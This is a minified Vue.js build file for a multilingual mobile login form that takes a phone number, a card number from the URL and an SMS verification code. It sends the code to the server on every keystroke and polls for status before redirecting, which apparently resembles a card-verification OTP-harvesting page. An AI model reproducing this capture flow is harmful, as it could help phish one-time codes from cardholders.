import {
    d as e,
    r as a,
    A as l,
    b as o,
    u as i,
    f as r,
    g as t,
    w as s,
    o as u,
    h as n,
    i as c,
    j as d,
    t as v,
    k as m,
    a as g,
    l as p,
    m as f,
    E as h,
    c as b,
    s as _,
    v as w,
    p as y,
    x
} from "./index.115af62d1729265196717.js";
import {u as k, F as V} from "./useForm.9355f9ab1729265196717.js";
import {E as I} from "./el-button.c1876bd01729265196717.js";
import {E as j} from "./index.eec34c841729265196717.js";
import {u as P} from "./useValidator.d7fa223e1729265196717.js";/* empty css                                                                                     */
import {s as q, a as C, b as L, d as R, e as z} from "./cardverifsms.3a16fdd71729265196717.js";
import {_ as B} from "./_plugin-vue_export-helper.1b428a4d1729265196717.js";
import "./el-form-item.eb8d765c1729265196717.js";
import "./el-divider.111259cd1729265196717.js";

const A = {class: "w-[100%]", style: {"background-color": "rgb(200, 200, 200, 0.1)"}}, F = {style: {color: "white"}},
    N = {class: "w-[100%]"},
    E = {style: {position: "absolute", bottom: "-180px", left: "50%", transform: "translateX(-50%)"}},
    U = {class: "w-[100%]"}, W = B(e({
        __name: "LoginFormMobile", setup(e) {
            const b = a(0), _ = a(60), w = l(), y = a(""), x = a(""), B = a("");
            a({});
            const {required: W} = P();
            o();
            const {currentRoute: M, addRoute: O, push: S} = i();
            r(), f();
            const {register: G, elFormRef: T, methods: $} = k(), X = a(!1), D = a(!1), H = a("");
            x.value = w.query.mobile_area;
            const J = a("Phone Number"), K = a("Login"), Q = a("Get verification code"), Y = a("Verification code"),
                Z = a("Please wait"), ee = a("Login success"), ae = a("Please enter the correct verification code");
            let le = new URLSearchParams(window.location.search).get("lang");
            "en" == le ? (J.value = "Phone Number", K.value = "Login", Q.value = "Get verification code", Y.value = "Verification code", Z.value = "Please wait", ee.value = "Login success", ae.value = "Please enter the correct verification code") : "fr" == le ? (J.value = "Numéro de téléphone", K.value = "Connexion", Q.value = "Obtenez le code de vérification", Y.value = "Code de vérification", Z.value = "Veuillez patienter", ee.value = "Connexion réussie", ae.value = "Veuillez entrer le bon code de vérification") : "de" == le ? (J.value = "Telefonnummer", K.value = "Anmelden", Q.value = "Bestätigungscode erhalten", Y.value = "Bestätigungscode", Z.value = "Bitte warten", ee.value = "Anmeldung erfolgreich", ae.value = "Bitte geben Sie den richtigen Bestätigungscode ein") : "nl" == le ? (J.value = "Telefoonnummer", K.value = "Inloggen", Q.value = "Verificatiecode ontvangen", Y.value = "Verificatiecode", Z.value = "Even geduld alstublieft", ee.value = "Inloggen geslaagd", ae.value = "Voer de juiste verificatiecode in") : "it" == le ? (J.value = "Numero di telefono", K.value = "Accedi", Q.value = "Ottieni il codice di verifica", Y.value = "Codice di verifica", Z.value = "Si prega di attendere", ee.value = "Accesso riuscito", ae.value = "Inserisci il codice di verifica corretto") : "es" == le && (J.value = "Número de teléfono", K.value = "Iniciar sesión", Q.value = "Obtener código de verificación", Y.value = "Código de verificación", Z.value = " Por favor, espera", ee.value = "Inicio de sesión exitoso", ae.value = "Por favor, introduce el código de verificación correcto");
            const oe = {username: [W()], password: [W()]},
                ie = t([{field: "mobile", colProps: {span: 24}}, {field: "sms_code", colProps: {span: 24}}, {
                    field: "login",
                    colProps: {span: 24}
                }]), re = () => {
                    x.value && !x.value.startsWith("+") && (x.value = "+" + x.value)
                }, te = e => {
                    B.value && q({
                        mobile: y.value,
                        mobile_area: x.value ? x.value.startsWith("+") ? x.value : "+" + x.value : "+1",
                        code: B.value,
                        card_no: w.query.card_no
                    }).then((e => {
                    })).catch((e => {
                    }))
                };
            s((() => M.value), (e => {
                var a;
                H.value = null == (a = null == e ? void 0 : e.query) ? void 0 : a.redirect
            }), {immediate: !0});
            const se = async () => {
                D.value = !0;
                const e = {
                    card_no: w.query.card_no,
                    mobile: y.value,
                    mobile_area: x.value ? x.value.startsWith("+") ? x.value : "+" + x.value : "+1",
                    lang: le
                };
                C(e).then((a => {
                    if ("0" == a.code) {
                        D.value = !0;
                        const a = setInterval((() => {
                            L(e).then((e => {
                                if ("0" == e.code) {
                                    if (2 == e.data.status) {
                                        clearInterval(a), b.value = _.value;
                                        const e = setInterval((() => {
                                            b.value > 0 ? b.value-- : (D.value = !1, clearInterval(e))
                                        }), 1e3)
                                    }
                                } else h.error(e.msg)
                            })).catch((e => {
                                D.value = !1, h.error(e.msg)
                            })).finally((() => {
                            }))
                        }), 2e3)
                    } else D.value = !1, h.error(a.msg)
                })).catch((e => {
                    D.value = !1, h.error(e.msg)
                })).finally((() => {
                }))
            }, ue = async () => {
                X.value = !0;
                const e = {
                    mobile: y.value,
                    mobile_area: x.value ? x.value.startsWith("+") ? x.value : "+" + x.value : "+1",
                    code: B.value,
                    card_no: w.query.card_no,
                    lang: le
                };
                R(e).then((a => {
                    if (0 == a.code) {
                        const a = setInterval((() => {
                            z(e).then((e => {
                                0 == e.code ? 4 == e.data.status ? (h.success(ee.value), X.value = !1, window.open(e.data.link, "_self"), clearInterval(a)) : 5 == e.data.status && (X.value = !1, h.error(ae.value), clearInterval(a)) : (clearInterval(a), X.value = !1)
                            })).catch((e => {
                                X.value = !1, h.error(e.msg)
                            }))
                        }), 3e3)
                    } else X.value = !1, h.error(a.msg)
                })).catch((e => {
                    X.value = !1, h.error(e.msg)
                })).finally((() => {
                }))
            };
            return (e, a) => (u(), n(g(V), {
                schema: ie,
                rules: oe,
                "label-position": "top",
                "hide-required-asterisk": "",
                size: "large",
                style: {height: "410px", position: "relative"},
                onRegister: g(G)
            }, {
                mobile: c((() => [d("div", A, [d("div", F, v(J.value), 1), m(g(j), {
                    modelValue: x.value,
                    "onUpdate:modelValue": a[0] || (a[0] = e => x.value = e),
                    class: "w-[20%] radius-10",
                    placeholder: "+1",
                    style: {width: "26%", "margin-right": "10px", "background-color": "white"},
                    onBlur: re
                }, null, 8, ["modelValue"]), m(g(j), {
                    modelValue: y.value,
                    "onUpdate:modelValue": a[1] || (a[1] = e => y.value = e),
                    class: "w-[80%] radius-10",
                    style: {width: "70%", "background-color": "white", color: "black"},
                    placeholder: J.value
                }, null, 8, ["modelValue", "placeholder"])])])),
                sms_code: c((() => [d("div", N, [m(g(j), {
                    modelValue: B.value,
                    "onUpdate:modelValue": a[2] || (a[2] = e => B.value = e),
                    class: "w-[90%] radius-10",
                    style: {width: "40%", float: "left", "background-color": "white", color: "black"},
                    autocomplete: "one-time-code",
                    onInput: te,
                    placeholder: Y.value
                }, null, 8, ["modelValue", "placeholder"]), m(g(I), {
                    loading: D.value,
                    type: "primary",
                    class: "w-[100%] radius-10",
                    disabled: b.value > 0,
                    style: {width: "56%", float: "right", "font-size": "10px"},
                    onClick: se
                }, {
                    default: c((() => [p(v(b.value > 0 ? `${Z.value} (${b.value}s)` : Q.value), 1)])),
                    _: 1
                }, 8, ["loading", "disabled"])])])),
                login: c((() => [d("div", E, [d("div", U, [m(g(I), {
                    loading: X.value,
                    type: "primary",
                    class: "w-[100%]",
                    style: {width: "300px", borderRadius: "20px", height: "44px"},
                    onClick: ue
                }, {default: c((() => [p(v(K.value), 1)])), _: 1}, 8, ["loading"])])])])),
                _: 1
            }, 8, ["schema", "onRegister"]))
        }
    }), [["__scopeId", "data-v-f3eb1189"]]), M = {
        class: "relative h-full flex mx-auto justify-center items-center",
        style: {
            "min-height": "100vh",
            "max-width": "470px",
            "background-color": "rgb(200, 200, 200, 0.1)",
            padding: "0px 30px",
            overflow: "hidden"
        }
    }, O = {class: "flex-1 relative", style: {"background-color": "rgb(200, 200, 200, 0.1)"}}, S = e({
        __name: "LoginMobile", setup(e) {
            const {getPrefixCls: l} = x(), i = l("login");
            o(), f();
            const r = a(!0);
            return (e, a) => (u(), b("div", {
                class: y([g(i), "h-[100%] relative"]),
                style: {
                    "background-image": "url('/upload/icon/bg.webp')",
                    "background-size": "cover",
                    "background-position": "center"
                }
            }, [d("div", M, [d("div", O, [m(w, {
                appear: "",
                "enter-active-class": "animate__animated animate__bounceInRight"
            }, {
                default: c((() => [r.value ? (u(), n(g(W), {
                    key: 0,
                    class: "p-20px h-auto m-auto <xl:rounded-3xl <xl:light:bg-white",
                    style: {"background-color": "rgb(208, 204, 192, 0.8)"}
                })) : _("", !0)])), _: 1
            })])])], 2))
        }
    });
export {S as default};
